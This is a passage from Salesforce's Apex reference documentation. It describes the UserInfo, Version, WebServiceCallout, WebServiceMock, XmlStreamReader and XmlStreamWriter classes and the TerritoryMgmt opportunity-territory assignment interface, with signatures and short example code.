getUserName()
Returns the context user's login name.
getUserRoleId()
Returns the context user's role ID.
getUserType()
Returns the context user's type.
isCurrentUserLicensed(namespace)
Returns true if the context user has a license to the managed package denoted by the namespace. Otherwise, returns false.
isMultiCurrencyOrganization()
Specifies whether the organization uses multiple currencies.
getDefaultCurrency()
Returns the context user's default currency code for multiple currency organizations or the organization's currency code for single
currency organizations.
Signature
public static String getDefaultCurrency()
Return Value
Type: String
Usage
Note: For Apex saved using SalesforceAPI version 22.0 or earlier, getDefaultCurrency returns null for single currency
organizations.
getFirstName()
Returns the context user's first name
Signature
public static String getFirstName()
Return Value
Type: String
getLanguage()
Returns the context user's language
Signature
public static String getLanguage()
2674
UserInfo ClassReference
Return Value
Type: String
getLastName()
Returns the context user's last name
Signature
public static String getLastName()
Return Value
Type: String
getLocale()
Returns the context user's locale.
Signature
public static String getLocale()
Return Value
Type: String
Example
String result = UserInfo.getLocale();
System.assertEquals('en_US', result);
getName()
Returns the context user's full name. The format of the name depends on the language preferences specified for the organization.
Signature
public static String getName()
Return Value
Type: String
Usage
The format is one of the following:
•FirstName LastName
•LastName, FirstName
2675
UserInfo ClassReference
getOrganizationId()
Returns the context organization's ID.
Signature
public static String getOrganizationId()
Return Value
Type: String
getOrganizationName()
Returns the context organization's company name.
Signature
public static String getOrganizationName()
Return Value
Type: String
getProfileId()
Returns the context user's profile ID.
Signature
public static String getProfileId()
Return Value
Type: String
getSessionId()
Returns the session ID for the current session.
Signature
public static String getSessionId()
Return Value
Type: String
2676
UserInfo ClassReference
Usage
For Apex code that is executed asynchronously, such as @future methods, Batch Apex jobs, or scheduled Apex jobs, getSessionId
returns null.
As a best practice, ensure that your code handles both cases – when a session ID is or is not available.
getTimeZone()
Returns the current user’s local time zone.
Signature
public static System.TimeZone getTimeZone()
Return Value
Type: System.TimeZone
Example
TimeZone tz =
UserInfo.getTimeZone();
System.debug(
'Display name: ' +
tz.getDisplayName());
System.debug(
'ID: ' +
tz.getID());
getUiTheme()
Returns the preferred theme for the current user. Use getUiThemeDisplayed to determine the theme actually displayed to the
current user.
Signature
public static String getUiTheme()
Return Value
Type: String
The preferred theme for the current user.
Valid values include:
•Theme1—Obsolete Salesforce theme
•Theme2—Salesforce Classic 2005 user interface theme
•Theme3—Salesforce Classic 2010 user interface theme
•Theme4d—Modern “Lightning Experience” Salesforce theme
•Theme4t—Salesforce1 mobile Salesforce theme
2677
UserInfo ClassReference
•PortalDefault—Salesforce Customer Portal theme
•Webstore—Salesforce AppExchange theme
getUiThemeDisplayed()
Returns the theme being displayed for the current user.
Signature
public static String getUiThemeDisplayed()
Return Value
Type: String
The theme being displayed for the current user
Valid values include:
•Theme1—Obsolete Salesforce theme
•Theme2—Salesforce Classic 2005 user interface theme
•Theme3—Salesforce Classic 2010 user interface theme
•Theme4d—Modern “Lightning Experience” Salesforce theme
•Theme4t—Salesforce1 mobile Salesforce theme
•PortalDefault—Salesforce Customer Portal theme
•Webstore—Salesforce AppExchange theme
getUserEmail()
Returns the current user’s email address.
Signature
public static String getUserEmail()
Return Value
Type: String
Example
String emailAddress =
UserInfo.getUserEmail();
System.debug(
'Email address: ' +
emailAddress);
getUserId()
Returns the context user's ID
2678
UserInfo ClassReference
Signature
public static String getUserId()
Return Value
Type: String
getUserName()
Returns the context user's login name.
Signature
public static String getUserName()
Return Value
Type: String
getUserRoleId()
Returns the context user's role ID.
Signature
public static String getUserRoleId()
Return Value
Type: String
getUserType()
Returns the context user's type.
Signature
public static String getUserType()
Return Value
Type: String
isCurrentUserLicensed(namespace)
Returns true if the context user has a license to the managed package denoted by the namespace. Otherwise, returns false.
Signature
public static Boolean isCurrentUserLicensed(String namespace)
2679
UserInfo ClassReference
Parameters
namespace
Type: String
Return Value
Type: Boolean
Usage
A TypeException is thrown if namespace is an invalid parameter.
isMultiCurrencyOrganization()
Specifies whether the organization uses multiple currencies.
Signature
public static Boolean isMultiCurrencyOrganization()
Return Value
Type: Boolean
Version Class
Use the Version methods to get the version of a managed package of a subscriber and to compare package versions.
Namespace
System
Usage
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release.
A called component can check the version against which the caller was compiled using the System.requestVersion method
and behave differently depending on the caller’s expectations. This allows you to continue to support existing behavior in classes and
triggers in previous package versions while continuing to evolve the code.
The value returned by the System.requestVersion method is an instance of this class with a two-part version number containing
a major and a minor number. Since the System.requestVersion method doesn’t return a patch number, the patch number in
the returned Version object is null.
The System.Version class can also hold also a three-part version number that includes a patch number.
2680
Version ClassReference
Example
This example shows how to use the methods in this class, along with the requestVersion method, to determine the managed
package version of the code that is calling your package.
if (System.requestVersion() == new Version(1,0))
{
// Do something
}
if ((System.requestVersion().major() == 1)
&& (System.requestVersion().minor() > 0)
&& (System.requestVersion().minor() <=9))
{
// Do something different for versions 1.1 to 1.9
}
else if (System.requestVersion().compareTo(new Version(2,0)) >= 0)
{
// Do something completely different for versions 2.0 or greater
}
IN THIS SECTION:
Version Constructors
Version Methods
Version Constructors
The following are constructors for Version.
IN THIS SECTION:
Version(major, minor)
Creates a new instance of the Version class as a two-part package version using the specified major and minor version numbers.
Version(major, minor, patch)
Creates a new instance of the Version class as a three-part package version using the specified major, minor, and patch version
numbers.
Version(major, minor)
Creates a new instance of the Version class as a two-part package version using the specified major and minor version numbers.
Signature
public Version(Integer major, Integer minor)
Parameters
major
Type: Integer
The major version number.
2681
Version ClassReference
minor
Type: Integer
The minor version number.
Version(major, minor, patch)
Creates a new instance of the Version class as a three-part package version using the specified major, minor, and patch version
numbers.
Signature
public Version(Integer major, Integer minor, Integer patch)
Parameters
major
Type: Integer
The major version number.
minor
Type: Integer
The minor version number.
patch
Type: Integer
The patch version number.
Version Methods
The following are methods for Version. All are instance methods.
IN THIS SECTION:
compareTo(version)
Compares the current version with the specified version.
major()
Returns the major package version of the of the calling code.
minor()
Returns the minor package version of the calling code.
patch()
Returns the patch package version of the calling code or null if there is no patch version.
compareTo(version)
Compares the current version with the specified version.
2682
Version ClassReference
Signature
public Integer compareTo(System.Version version)
Parameters
version
Type: System.Version
Return Value
Type: Integer
Returns one of the following values:
•zero if the current package version is equal to the specified package version
•an Integer value greater than zero if the current package version is greater than the specified package version
•an Integer value less than zero if the current package version is less than the specified package version
Usage
If a two-part version is being compared to a three-part version, the patch number is ignored and the comparison is based only on the
major and minor numbers.
major()
Returns the major package version of the of the calling code.
Signature
public Integer major()
Return Value
Type: Integer
minor()
Returns the minor package version of the calling code.
Signature
public Integer minor()
Return Value
Type: Integer
patch()
Returns the patch package version of the calling code or null if there is no patch version.
2683
Version ClassReference
Signature
public Integer patch()
Return Value
Type: Integer
WebServiceCallout Class
Enables making callouts to SOAP operations on an external Web service. This class is used in the Apex stub class that is auto-generated
from a WSDL.
Namespace
System
IN THIS SECTION:
WebServiceCallout Methods
SEE ALSO:
SOAP Services: Defining a Class from a WSDL Document
WebServiceCallout Methods
The following is the static method for WebServiceCallout.
IN THIS SECTION:
invoke(stub, request, response, infoArray)
Invokes an external SOAP web service operation based on an Apex class that is auto-generated from a WSDL.
invoke(stub, request, response, infoArray)
Invokes an external SOAP web service operation based on an Apex class that is auto-generated from a WSDL.
Signature
public static void invoke(Object stub, Object request, Map<String,Object> response,
List<String> infoArray)
Parameters
stub
Type: Object
An instance of the Apex class that is auto-generated from a WSDL (the stub class).
request
Type: Object
2684
WebServiceCallout ClassReference
The request to the external service. The request is an instance of a type that is created as part of the auto-generated stub class.
response
Type: Map<String, Object>
A map of key-value pairs that represent the response that the external service sends after receiving the request. In each pair, the key
is a response identifier. The value is the response object, which is an instance of a type that is created as part of the auto-generated
stub class.
infoArray
Type: String[]
An array of strings that contains information about the callout—web service endpoint, SOAP action, request, and response. The
order of the elements in the array matters.
•Element at index 0 ([0]): One of the following options for identifying the URL of the external web service.
–Endpoint URL. For example: 'http://YourServer/YourService'
–Named credential URL, which contains the scheme callout, the name of the named credential, and optionally, an
appended path. For example: 'callout:MyNamedCredential/some/path'
•Element at index 1 ([1]): The SOAP action. For example:
'urn:dotnet.callouttest.soap.sforce.com/EchoString'
•Element at index 2 ([2]): The request namespace. For example: 'http://doc.sample.com/docSample'
•Element at index 3 ([3]): The request name. For example: 'EchoString'
•Element at index 4 ([4]): The response namespace. For example: 'http://doc.sample.com/docSample'
•Element at index 5 ([5]): The response name. For example: 'EchoStringResponse'
•Element at index 6 ([6]): The response type. For example: 'docSample.EchoStringResponse_element'
Return Value
Type: Void
SEE ALSO:
Named Credentials as Callout Endpoints
WebServiceMock Interface
Enables sending fake responses when testing Web service callouts of a class auto-generated from a WSDL.
Namespace
System
Usage
For an implementation example, see Test Web Service Callouts on page 469.
WebServiceMock Methods
The following are methods for WebServiceMock.
2685
WebServiceMock InterfaceReference
IN THIS SECTION:
doInvoke(stub, soapRequest, responseMap, endpoint, soapAction, requestName, responseNamespace, responseName, responseType)
The implementation of this method is called by the Apex runtime to send a fake response when a Web service callout is made after
Test.setMock has been called.
doInvoke(stub, soapRequest, responseMap, endpoint, soapAction, requestName,
responseNamespace, responseName, responseType)
The implementation of this method is called by the Apex runtime to send a fake response when a Web service callout is made after
Test.setMock has been called.
Signature
public Void doInvoke(Object stub, Object soapRequest, Map<String,Object> responseMap,
String endpoint, String soapAction, String requestName, String responseNamespace, String
responseName, String responseType)
Parameters
stub
Type: Object
An instance of the auto-generated class.
soapRequest
Type: Object
The SOAP Web service request being invoked.
responseMap
Type: Map<String, Object>
A collection of key/value pairs representing the response to send for the request.
When implementing this interface, set the responseMap argument to a key/value pair representing the response desired.
endpoint
Type: String
The endpoint URL for the request.
soapAction
Type: String
The requested SOAP operation.
requestName
Type: String
The requested SOAP operation name.
responseNamespace
Type: String
The response namespace.
responseName
Type: String
2686
WebServiceMock InterfaceReference
The name of the response element as defined in the WSDL.
responseType
Type: String
The class for the response as defined in the auto-generated class.
Return Value
Type: Void
Usage
XmlStreamReader Class
The XmlStreamReader class provides methods for forward, read-only access to XML data. You can pull data from XML or skip
unwanted events. You can parse nested XML content that’s up to 50 nodes deep.
Namespace
System
Usage
The XmlStreamReader class is similar to the XMLStreamReader utility class from StAX.
Note: The XmlStreamReader class in Apex is based on its counterpart in Java. See the Java XMLStreamReader
class.
IN THIS SECTION:
XmlStreamReader Constructors
XmlStreamReader Methods
SEE ALSO:
Reading XML Using Streams
XmlStreamReader Constructors
The following are constructors for XmlStreamReader.
IN THIS SECTION:
XmlStreamReader(xmlInput)
Creates a new instance of the XmlStreamReader class for the specified XML input.
XmlStreamReader(xmlInput)
Creates a new instance of the XmlStreamReader class for the specified XML input.
2687
XmlStreamReader ClassReference
Signature
public XmlStreamReader(String xmlInput)
Parameters
xmlInput
Type: String
The XML string input.
XmlStreamReader Methods
The following are methods for XmlStreamReader. All are instance methods.
IN THIS SECTION:
getAttributeCount()
Returns the number of attributes on the start element, excluding namespace definitions.
getAttributeLocalName(index)
Returns the local name of the attribute at the specified index.
getAttributeNamespace(index)
Returns the namespace URI of the attribute at the specified index.
getAttributePrefix(index)
Returns the prefix of this attribute at the specified index.
getAttributeType(index)
Returns the XML type of the attribute at the specified index.
getAttributeValue(namespaceUri, localName)
Returns the value of the attribute in the specified localName at the specified URI.
getAttributeValueAt(index)
Returns the value of the attribute at the specified index.
getEventType()
Returns the type of XML event the cursor is pointing to.
getLocalName()
Returns the local name of the current event.
getLocation()
Return the current location of the cursor.
getNamespace()
If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace.
getNamespaceCount()
Returns the number of namespaces declared on a start element or end element.
getNamespacePrefix(index)
Returns the prefix for the namespace declared at the index.
getNamespaceURI(prefix)
Return the URI for the given prefix.
2688
XmlStreamReader ClassReference
getNamespaceURIAt(index)
Returns the URI for the namespace declared at the index.
getPIData()
Returns the data section of a processing instruction.
getPITarget()
Returns the target section of a processing instruction.
getPrefix()
Returns the prefix of the current XML event or null if the event does not have a prefix.
getText()
Returns the current value of the XML event as a string.
getVersion()
Returns the XML version specified on the XML declaration. Returns null if none was declared.
hasName()
Returns true if the current XML event has a name. Returns false otherwise.
hasNext()
Returns true if there are more XML events and false if there are no more XML events.
hasText()
Returns true if the current event has text, false otherwise.
isCharacters()
Returns true if the cursor points to a character data XML event. Otherwise, returns false.
isEndElement()
Returns true if the cursor points to an end tag. Otherwise, it returns false.
isStartElement()
Returns true if the cursor points to a start tag. Otherwise, it returns false.
isWhiteSpace()
Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false.
next()
Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several
chunks. Returns an integer which indicates the type of event.
nextTag()
Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start
element or end element is reached. Returns the index for that XML event.
setCoalescing(returnAsSingleBlock)
If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element
or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.
setNamespaceAware(isNamespaceAware)
If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does
not. The default value is true.
toString()
Returns a string containing the length of the input XML given to XmlStreamReader and the first 50 characters of the input
XML.
2689
XmlStreamReader ClassReference
getAttributeCount()
Returns the number of attributes on the start element, excluding namespace definitions.
Signature
public Integer getAttributeCount()
Return Value
Type: Integer
Usage
This method is only valid on a start element or attribute XML events. The count for the number of attributes for an attribute XML event
starts with zero.
getAttributeLocalName(index)
Returns the local name of the attribute at the specified index.
Signature
public String getAttributeLocalName(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
Usage
If there is no name, an empty string is returned. This method is only valid with start element or attribute XML events.
getAttributeNamespace(index)
Returns the namespace URI of the attribute at the specified index.
Signature
public String getAttributeNamespace(Integer index)
Parameters
index
Type: Integer
2690
XmlStreamReader ClassReference
Return Value
Type: String
Usage
If no namespace is specified, null is returned. This method is only valid with start element or attribute XML events.
getAttributePrefix(index)
Returns the prefix of this attribute at the specified index.
Signature
public String getAttributePrefix(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
Usage
If no prefix is specified, null is returned. This method is only valid with start element or attribute XML events.
getAttributeType(index)
Returns the XML type of the attribute at the specified index.
Signature
public String getAttributeType(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
Usage
For example, id is an attribute type. This method is only valid with start element or attribute XML events.
2691
XmlStreamReader ClassReference
getAttributeValue(namespaceUri, localName)
Returns the value of the attribute in the specified localName at the specified URI.
Signature
public String getAttributeValue(String namespaceUri, String localName)
Parameters
namespaceUri
Type: String
localName
Type: String
Return Value
Type: String
Usage
Returns null if the value is not found. You must specify a value for localName. This method is only valid with start element or
attribute XML events.
getAttributeValueAt(index)
Returns the value of the attribute at the specified index.
Signature
public String getAttributeValueAt(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
Usage
This method is only valid with start element or attribute XML events.
getEventType()
Returns the type of XML event the cursor is pointing to.
2692
XmlStreamReader ClassReference
Signature
public System.XmlTag getEventType()
Return Value
Type: System.XmlTag
XmlTag Enum
The values for XmlTag are:
•ATTRIBUTE
•CDATA
•CHARACTERS
•COMMENT
•DTD
•END_DOCUMENT
•END_ELEMENT
•ENTITY_DECLARATION
•ENTITY_REFERENCE
•NAMESPACE
•NOTATION_DECLARATION
•PROCESSING_INSTRUCTION
•SPACE
•START_DOCUMENT
•START_ELEMENT
getLocalName()
Returns the local name of the current event.
Signature
public String getLocalName()
Return Value
Type: String
Usage
For start element or end element XML events, it returns the local name of the current element. For the entity reference XML event, it
returns the entity name. The current XML event must be start element, end element, or entity reference.
getLocation()
Return the current location of the cursor.
2693
XmlStreamReader ClassReference
Signature
public String getLocation()
Return Value
Type: String
Usage
If the location is unknown, returns -1. The location information is only valid until the next method is called.
getNamespace()
If the current event is a start element or end element, this method returns the URI of the prefix or the default namespace.
Signature
public String getNamespace()
Return Value
Type: String
Usage
Returns null if the XML event does not have a prefix.
getNamespaceCount()
Returns the number of namespaces declared on a start element or end element.
Signature
public Integer getNamespaceCount()
Return Value
Type: Integer
Usage
This method is only valid on a start element, end element, or namespace XML event.
getNamespacePrefix(index)
Returns the prefix for the namespace declared at the index.
Signature
public String getNamespacePrefix(Integer index)
2694
XmlStreamReader ClassReference
Parameters
index
Type: Integer
Return Value
Type: String
Usage
Returns null if this is the default namespace declaration. This method is only valid on a start element, end element, or namespace
XML event.
getNamespaceURI(prefix)
Return the URI for the given prefix.
Signature
public String getNamespaceURI(String prefix)
Parameters
prefix
Type: String
Return Value
Type: String
Usage
The returned URI depends on the current state of the processor.
getNamespaceURIAt(index)
Returns the URI for the namespace declared at the index.
Signature
public String getNamespaceURIAt(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
2695
XmlStreamReader ClassReference
Usage
This method is only valid on a start element, end element, or namespace XML event.
getPIData()
Returns the data section of a processing instruction.
Signature
public String getPIData()
Return Value
Type: String
getPITarget()
Returns the target section of a processing instruction.
Signature
public String getPITarget()
Return Value
Type: String
getPrefix()
Returns the prefix of the current XML event or null if the event does not have a prefix.
Signature
public String getPrefix()
Return Value
Type: String
getText()
Returns the current value of the XML event as a string.
Signature
public String getText()
Return Value
Type: String
2696
XmlStreamReader ClassReference
Usage
The valid values for the different events are:
•The string value of a character XML event
•The string value of a comment
•The replacement value for an entity reference. For example, assume getText reads the following XML snippet:
<!ENTITY
Title "Salesforce For Dummies" >
]>
<foo a=\"b\">Name &Title;</foo>';
The getText method returns Salesforce for Dummies, not &Title.
•The string value of a CDATA section
•The string value for a space XML event
•The string value of the internal subset of the DTD
getVersion()
Returns the XML version specified on the XML declaration. Returns null if none was declared.
Signature
public String getVersion()
Return Value
Type: String
hasName()
Returns true if the current XML event has a name. Returns false otherwise.
Signature
public Boolean hasName()
Return Value
Type: Boolean
Usage
This method is only valid for start element and stop element XML events.
hasNext()
Returns true if there are more XML events and false if there are no more XML events.
2697
XmlStreamReader ClassReference
Signature
public Boolean hasNext()
Return Value
Type: Boolean
Usage
This method returns false if the current XML event is end document.
hasText()
Returns true if the current event has text, false otherwise.
Signature
public Boolean hasText()
Return Value
Type: Boolean
Usage
The following XML events have text: characters, entity reference, comment and space.
isCharacters()
Returns true if the cursor points to a character data XML event. Otherwise, returns false.
Signature
public Boolean isCharacters()
Return Value
Type: Boolean
isEndElement()
Returns true if the cursor points to an end tag. Otherwise, it returns false.
Signature
public Boolean isEndElement()
Return Value
Type: Boolean
2698
XmlStreamReader ClassReference
isStartElement()
Returns true if the cursor points to a start tag. Otherwise, it returns false.
Signature
public Boolean isStartElement()
Return Value
Type: Boolean
isWhiteSpace()
Returns true if the cursor points to a character data XML event that consists of all white space. Otherwise it returns false.
Signature
public Boolean isWhiteSpace()
Return Value
Type: Boolean
next()
Reads the next XML event. A processor may return all contiguous character data in a single chunk, or it may split it into several chunks.
Returns an integer which indicates the type of event.
Signature
public Integer next()
Return Value
Type: Integer
nextTag()
Skips any white space (the isWhiteSpace method returns true), comment, or processing instruction XML events, until a start
element or end element is reached. Returns the index for that XML event.
Signature
public Integer nextTag()
Return Value
Type: Integer
2699
XmlStreamReader ClassReference
Usage
This method throws an error if elements other than white space, comments, processing instruction, start elements or stop elements are
encountered.
setCoalescing(returnAsSingleBlock)
If you specify true for returnAsSingleBlock, text is returned in a single block, from a start element to the first end element
or the next start element, whichever comes first. If you specify it as false, the parser may return text in multiple blocks.
Signature
public Void setCoalescing(Boolean returnAsSingleBlock)
Parameters
returnAsSingleBlock
Type: Boolean
Return Value
Type: Void
setNamespaceAware(isNamespaceAware)
If you specify true for isNamespaceAware, the parser recognizes namespace. If you specify it as false, the parser does not.
The default value is true.
Signature
public Void setNamespaceAware(Boolean isNamespaceAware)
Parameters
isNamespaceAware
Type: Boolean
Return Value
Type: Void
toString()
Returns a string containing the length of the input XML given to XmlStreamReader and the first 50 characters of the input XML.
Signature
public String toString()
2700
XmlStreamReader ClassReference
Return Value
Type: String
XmlStreamWriter Class
The XmlStreamWriter class provides methods for writing XML data.
Namespace
System
Usage
You can use the XmlStreamWriter class to programmatically construct an XML document, then use HTTP classes to send the
document to an external server.
The XmlStreamWriter class is similar to the XMLStreamWriter utility class from StAX.
Note: The XmlStreamWriter class in Apex is based on its counterpart in Java. See the Java XMLStreamWriter
class.
IN THIS SECTION:
XmlStreamWriter Constructors
XmlStreamWriter Methods
SEE ALSO:
Http Class
HttpRequest Class
HttpResponse Class
XmlStreamWriter Constructors
The following are constructors for XmlStreamWriter.
IN THIS SECTION:
XmlStreamWriter()
Creates a new instance of the XmlStreamWriter class.
XmlStreamWriter()
Creates a new instance of the XmlStreamWriter class.
Signature
public XmlStreamWriter()
2701
XmlStreamWriter ClassReference
XmlStreamWriter Methods
The following are methods for XmlStreamWriter. All are instance methods.
IN THIS SECTION:
close()
Closes this instance of an XmlStreamWriter and free any resources associated with it.
getXmlString()
Returns the XML written by the XmlStreamWriter instance.
setDefaultNamespace(uri)
Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT – END_ELEMENT
pair.
writeAttribute(prefix, namespaceUri, localName, value)
Writes an attribute to the output stream.
writeCData(data)
Writes the specified CData to the output stream.
writeCharacters(text)
Writes the specified text to the output stream.
writeComment(comment)
Writes the specified comment to the output stream.
writeDefaultNamespace(namespaceUri)
Writes the specified namespace to the output stream.
writeEmptyElement(prefix, localName, namespaceUri)
Writes an empty element tag to the output stream.
writeEndDocument()
Closes any start tags and writes corresponding end tags to the output stream.
writeEndElement()
Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.
writeNamespace(prefix, namespaceUri)
Writes the specified namespace to the output stream.
writeProcessingInstruction(target, data)
Writes the specified processing instruction.
writeStartDocument(encoding, version)
Writes the XML Declaration using the specified XML encoding and version.
writeStartElement(prefix, localName, namespaceUri)
Writes the start tag specified by localName to the output stream.
close()
Closes this instance of an XmlStreamWriter and free any resources associated with it.
2702
XmlStreamWriter ClassReference
Signature
public Void close()
Return Value
Type: Void
getXmlString()
Returns the XML written by the XmlStreamWriter instance.
Signature
public String getXmlString()
Return Value
Type: String
setDefaultNamespace(uri)
Binds the specified URI to the default namespace. This URI is bound in the scope of the current START_ELEMENT – END_ELEMENT pair.
Signature
public Void setDefaultNamespace(String uri)
Parameters
uri
Type: String
Return Value
Type: Void
writeAttribute(prefix, namespaceUri, localName, value)
Writes an attribute to the output stream.
Signature
public Void writeAttribute(String prefix, String namespaceUri, String localName, String
value)
Parameters
prefix
Type: String
2703
XmlStreamWriter ClassReference
namespaceUri
Type: String
localName
Type: String
Specifies the name of the attribute.
value
Type: String
Return Value
Type: Void
writeCData(data)
Writes the specified CData to the output stream.
Signature
public Void writeCData(String data)
Parameters
data
Type: String
Return Value
Type: Void
writeCharacters(text)
Writes the specified text to the output stream.
Signature
public Void writeCharacters(String text)
Parameters
text
Type: String
Return Value
Type: Void
writeComment(comment)
Writes the specified comment to the output stream.
2704
XmlStreamWriter ClassReference
Signature
public Void writeComment(String comment)
Parameters
comment
Type: String
Return Value
Type: Void
writeDefaultNamespace(namespaceUri)
Writes the specified namespace to the output stream.
Signature
public Void writeDefaultNamespace(String namespaceUri)
Parameters
namespaceUri
Type: String
Return Value
Type: Void
writeEmptyElement(prefix, localName, namespaceUri)
Writes an empty element tag to the output stream.
Signature
public Void writeEmptyElement(String prefix, String localName, String namespaceUri)
Parameters
prefix
Type: String
localName
Type: String
Specifies the name of the tag to be written.
namespaceUri
Type: String
2705
XmlStreamWriter ClassReference
Return Value
Type: Void
writeEndDocument()
Closes any start tags and writes corresponding end tags to the output stream.
Signature
public Void writeEndDocument()
Return Value
Type: Void
writeEndElement()
Writes an end tag to the output stream, relying on the internal state of the writer to determine the prefix and local name.
Signature
public Void writeEndElement()
Return Value
Type: Void
writeNamespace(prefix, namespaceUri)
Writes the specified namespace to the output stream.
Signature
public Void writeNamespace(String prefix, String namespaceUri)
Parameters
prefix
Type: String
namespaceUri
Type: String
Return Value
Type: Void
writeProcessingInstruction(target, data)
Writes the specified processing instruction.
2706
XmlStreamWriter ClassReference
Signature
public Void writeProcessingInstruction(String target, String data)
Parameters
target
Type: String
data
Type: String
Return Value
Type: Void
writeStartDocument(encoding, version)
Writes the XML Declaration using the specified XML encoding and version.
Signature
public Void writeStartDocument(String encoding, String version)
Parameters
encoding
Type: String
version
Type: String
Return Value
Type: Void
writeStartElement(prefix, localName, namespaceUri)
Writes the start tag specified by localName to the output stream.
Signature
public Void writeStartElement(String prefix, String localName, String namespaceUri)
Parameters
prefix
Type: String
localName
Type: String
namespaceUri
Type: String
2707
XmlStreamWriter ClassReference
Return Value
Type: Void
TerritoryMgmt Namespace
The TerritoryMgmt namespace provides an interface used for territory management.
The following is the interface in the TerritoryMgmt namespace.
IN THIS SECTION:
OpportunityTerritory2AssignmentFilter Global Interface
Apex interface that allows an implementing class to assign a single territory to an opportunity.
OpportunityTerritory2AssignmentFilter Global Interface
Apex interface that allows an implementing class to assign a single territory to an opportunity.
Namespace
TerritoryMgmt
Usage
Method called by Opportunity Territory Assignment job to assign territory to opportunity. Input is a list of (up to 1000) opportunityIds
that have IsExcludedFromTerritory2Filter=false. Returns a map of OpportunityId to Territory2Id, which is used to update the Territory2Id
field on the Opportunity object.
IN THIS SECTION:
OpportunityTerritory2AssignmentFilter Methods
OpportunityTerritory2AssignmentFilter Example Implementation
OpportunityTerritory2AssignmentFilter Methods
The following are methods for OpportunityTerritory2AssignmentFilter.
IN THIS SECTION:
getOpportunityTerritory2Assignments(opportunityIds)
Returns the mapping of opportunities to territory IDs. When Salesforce invokes this method, it supplies the list of opportunity IDs,
except for opportunities that have been excluded from territory assignment (IsExcludedFromTerritory2Filter=false).
getOpportunityTerritory2Assignments(opportunityIds)
Returns the mapping of opportunities to territory IDs. When Salesforce invokes this method, it supplies the list of opportunity IDs, except
for opportunities that have been excluded from territory assignment (IsExcludedFromTerritory2Filter=false).
2708
TerritoryMgmt NamespaceReference
Signature
public Map<Id,Id> getOpportunityTerritory2Assignments(List<Id> opportunityIds)
Parameters
opportunityIds
Type: List<Id>
Opportunity IDs.
Return Value
Type: Map<Id,Id>
A key value pair associating each Territory ID to an Opportunity ID.
OpportunityTerritory2AssignmentFilter Example Implementation
This is an example implementation of the TerritoryMgmt.OpportunityTerritory2AssignmentFilter interface.
/*** Apex version of the default logic.
* If opportunity's assigned account is assigned to
* Case 1: 0 territories in active model
* then set territory2Id = null
* Case 2: 1 territory in active model
* then set territory2Id = account's territory2Id
* Case 3: 2 or more territories in active model
* then set territory2Id = account's territory2Id that is of highest priority.
* But if multiple territories have same highest priority, then set territory2Id
= null
*/
global class OppTerrAssignDefaultLogicFilter implements
TerritoryMgmt.OpportunityTerritory2AssignmentFilter {
/**
* No-arg constructor.
*/
global OppTerrAssignDefaultLogicFilter() {}
/**
* Get mapping of opportunity to territory2Id. The incoming list of opportunityIds
contains only those with IsExcludedFromTerritory2Filter=false.
* If territory2Id = null in result map, clear the opportunity.territory2Id if set.
* If opportunity is not present in result map, its territory2Id remains intact.
*/
global Map<Id,Id> getOpportunityTerritory2Assignments(List<Id> opportunityIds) {
Map<Id, Id> OppIdTerritoryIdResult = new Map<Id, Id>();
// Get the active territory model Id
Id activeModelId = getActiveModelId();
if(activeModelId != null){
List<Opportunity> opportunities =
[Select Id, AccountId, Territory2Id from Opportunity where Id IN
:opportunityIds];
2709
OpportunityTerritory2AssignmentFilter Global InterfaceReference
Set<Id> accountIds = new Set<Id>();
// Create set of parent accountIds
for(Opportunity opp:opportunities){
if(opp.AccountId != null){
accountIds.add(opp.AccountId);
}
}
Map<Id,Territory2Priority> accountMaxPriorityTerritory =
getAccountMaxPriorityTerritory(activeModelId, accountIds);
// For each opportunity, assign the highest priority territory if there is no
conflict, else assign null.
for(Opportunity opp: opportunities){
Territory2Priority tp = accountMaxPriorityTerritory.get(opp.AccountId);
// Assign highest priority territory if there is only 1.
if((tp != null) && (tp.moreTerritoriesAtPriority == false) && (tp.territory2Id
!= opp.Territory2Id)){
OppIdTerritoryIdResult.put(opp.Id, tp.territory2Id);
}else{
OppIdTerritoryIdResult.put(opp.Id, null);
}
}
}
return OppIdTerritoryIdResult;
}
/**
* Query assigned territoryIds in active model for given accountIds.
* Create a map of accountId to max priority territory.
*/
private Map<Id,Territory2Priority> getAccountMaxPriorityTerritory(Id activeModelId,
Set<Id> accountIds){
Map<Id,Territory2Priority> accountMaxPriorityTerritory = new
Map<Id,Territory2Priority>();
for(ObjectTerritory2Association ota:[Select ObjectId, Territory2Id,
Territory2.Territory2Type.Priority from ObjectTerritory2Association where objectId IN
:accountIds and Territory2.Territory2ModelId = :activeModelId]){
Territory2Priority tp = accountMaxPriorityTerritory.get(ota.ObjectId);
if((tp == null) || (ota.Territory2.Territory2Type.Priority > tp.priority)){
// If this is the first territory examined for account or it has greater
priority than current highest priority territory, then set this as new highest priority
territory.
tp = new
Territory2Priority(ota.Territory2Id,ota.Territory2.Territory2Type.priority,false);
}else if(ota.Territory2.Territory2Type.priority == tp.priority){
// The priority of current highest territory is same as this, so set
moreTerritoriesAtPriority to indicate multiple highest priority territories seen so far.
tp.moreTerritoriesAtPriority = true;
}
accountMaxPriorityTerritory.put(ota.ObjectId, tp);
}
2710
OpportunityTerritory2AssignmentFilter Global InterfaceReference
return accountMaxPriorityTerritory;
}
/**
* Get the Id of the Active Territory Model.
* If none exists, return null.
*/
private Id getActiveModelId() {
List<Territory2Model> models = [Select Id from Territory2Model where State =
'Active'];
Id activeModelId = null;
if(models.size() == 1){
activeModelId = models.get(0).Id;
}
return activeModelId;
}
/**
* Helper class to help capture territory2Id, its priority, and whether there are more
territories with same priority assigned to the account.
*/
private class Territory2Priority {
public Id territory2Id { get; set; }
